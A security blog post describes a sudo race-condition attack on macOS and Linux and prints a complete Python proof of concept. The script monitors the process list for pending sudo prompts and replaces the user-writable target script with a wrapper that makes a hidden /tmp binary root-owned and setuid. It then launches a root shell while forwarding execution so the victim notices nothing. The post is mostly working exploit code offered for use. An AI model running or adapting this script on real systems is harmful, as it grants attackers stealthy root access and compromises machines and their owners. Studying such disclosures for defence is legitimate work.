hijacking sudo in real time

15 Aug 2018 22:03 | macOS | security

A while ago I posted about how sudo can be easily backdoored by dropping a fake
sudo script into the user's PATH:

https://m4.rkw.io/blog/getting-root-without-an-exploit--stealth-sudo-backdoor.html

Another attack vector for sudo is monitoring the process list for invocations of
sudo where the user is being prompted for their sudo password and the target
script/binary is user-writable. If a rogue process can determine this scenario
they have a narrow window in which the target script/binary can be replaced with
something else in order to steal root privileges.

The proof of concept below demonstrates how this can be done, and includes a
simple shell wrapper that forwards the sudo execution on to a copy of the
original script so the user likely won't notice anything.

https://m4.rkw.io/sudo_steal.py.txt
0d5bb04be60acf3ebb7a7f16932ebd8b8f75636ede85e4e5bcf1f08fbe5e25da
-------------------------------------------------------------------------------
#!/usr/bin/env python2.7
#
# sudo hijack PoC by m4rkw
#
# test on macos and linux
#
# run this in one terminal window, then open another and execute something with
# sudo that you have write access to.
#
# in the time it takes you to enter your sudo password, sudo_steal.py will hijack
# the target in order to steal a root shell, and then pass the execution chain
# on to a copy of the script so the user running sudo won't know anything is amis.

import os
import sys
import time


# we can only hijack sudo if the target command/script is writable

def is_writable(path):
  try:
    with open(path,'a+') as f:
      pass
    return True
  except:
    pass

  return False


# most user-owned stuff executed with sudo will be at a relative path so we
# need to recursively search for it as quickly as possible.
#
# we only have the time it takes the user to enter their password to find
# the target and hijack it, so this needs to be as fast as possible. this
# should be quick enough on most mac or linux systems, but if you have a
# bunch of directories with lots of files it may be too slow.

def fast_find_file(filename):
  matches = []

  h = os.environ['HOME']

  home_path = "%s/%s" % (h, filename)

  if os.path.exists(home_path) and is_writable(home_path):
    matches.append(home_path)

  dirs = []

  for x in os.popen("ls -a1 %s" % (h)).read().rstrip().split("\n"):
    if os.path.isdir("%s/%s" % (h, x)) and not os.path.islink("%s/%s" % (h, x)):
      if x not in [
          '.', '..',
          'Library',
          'Music',
          'Pictures',
          'Documents',
          'Movies',
          'VirtualBox VMs',
          '.cups',
          '.vagrant.d',
          '.ansible'
        ]:
        dirs.append("%s/%s" % (h, x))

  cmd = "find %s -type f -name %s 2>/dev/null" % (" ".join(dirs), filename)

  for x in os.popen(cmd).read().rstrip().split("\n"):
    if os.path.exists(x) and is_writable(x):
      matches.append(x)

  if len(matches) == 0:
    return False

  return matches


# generate a temporary filename to move the hijacked script to

def get_target(match):
  target = match + 'x'

  while os.path.exists(target):
    target += 'x'

  return target


# check if the process is still alive

def alive(pid):
  return os.system("ps %s 1>/dev/null" % (pid)) == 0


# we have a list of paths that may be the target, so hijack and redirect
# them all

def exploit(pid, matches):
  remap = {}
  remapped = []

  for match in matches:
    remap[match] = get_target(match)

    print "hijacking %s..." % (match)

    try:
      # move the target out of the way and drop in a bash redirect script
      # that sets 0:0 and +s on our rootshell payload
      os.rename(match, remap[match])
      with open(match,'w') as f:
        f.write("#!/bin/bash\n")
        f.write("chown 0:0 /tmp/.,\n")
        f.write("chmod 4755 /tmp/.,\n")
        f.write("%s $@\n" % (remap[match]))
      os.chmod(match, 0755)
      remapped.append(match)
    except:
      pass

  if len(remapped) == 0:
    print "hijack failed."
    return

  success = False
  while True:
    if os.stat("/tmp/.,").st_uid == 0:
      success = True
      break

    if not alive(pid):
      break

    time.sleep(1)

  # move the hijacked files back into place
  for match in remapped:
    os.rename(remap[match], match)

  if success:
    os.system("/tmp/.,")
    sys.exit(0)

  print "exploit failed."


# simple rootshell payload

with open("/tmp/.,.c","w") as f:
  f.write("#include <unistd.h>\n")
  f.write("int main(){setuid(0);seteuid(0);execl(\"/bin/bash\",")
  f.write("\"bash\",\"-c\",\"rm -f /tmp/.,; /bin/bash\",NULL);")
  f.write("return 0;}\n")

os.system("gcc -o /tmp/., /tmp/.,.c; rm -f /tmp/.,.c")


# continuously scan for hijackable processes

while True:
  ps_lines = os.popen("ps -a -o pid= -o ppid= -o command= |xargs -L1").read().rstrip().split("\n")

  children = {}

  # build a map of children so we can avoid trying to hijack sudo
  # processes that have children (i.e. already authenticated)

  for line in ps_lines:
    seg = line.split(' ')
    pid = seg[0]
    ppid = seg[1]

    if not ppid in children.keys():
      children[ppid] = []

    children[ppid].append(pid)

  # look for invocations of sudo that have prompted the user for their password
  # and where the target binary/script is user-writable

  for line in ps_lines:
    seg = line.split(' ')

    if seg[2] == 'sudo':
      print "potential target: %s" % (line)

      pid = seg[0]

      # if sudo has child processes then it's already authenticated
      if pid in children.keys():
        print "%s has children, skipping" % (pid)
        continue

      args = seg[3:]

      while True:
        matches = fast_find_file(" ".join(args))

        if matches:
          break

        args = args[0:len(args)-1]

        if len(args) == 0:
          break

      if matches:
        exploit(pid, matches)

  time.sleep(1)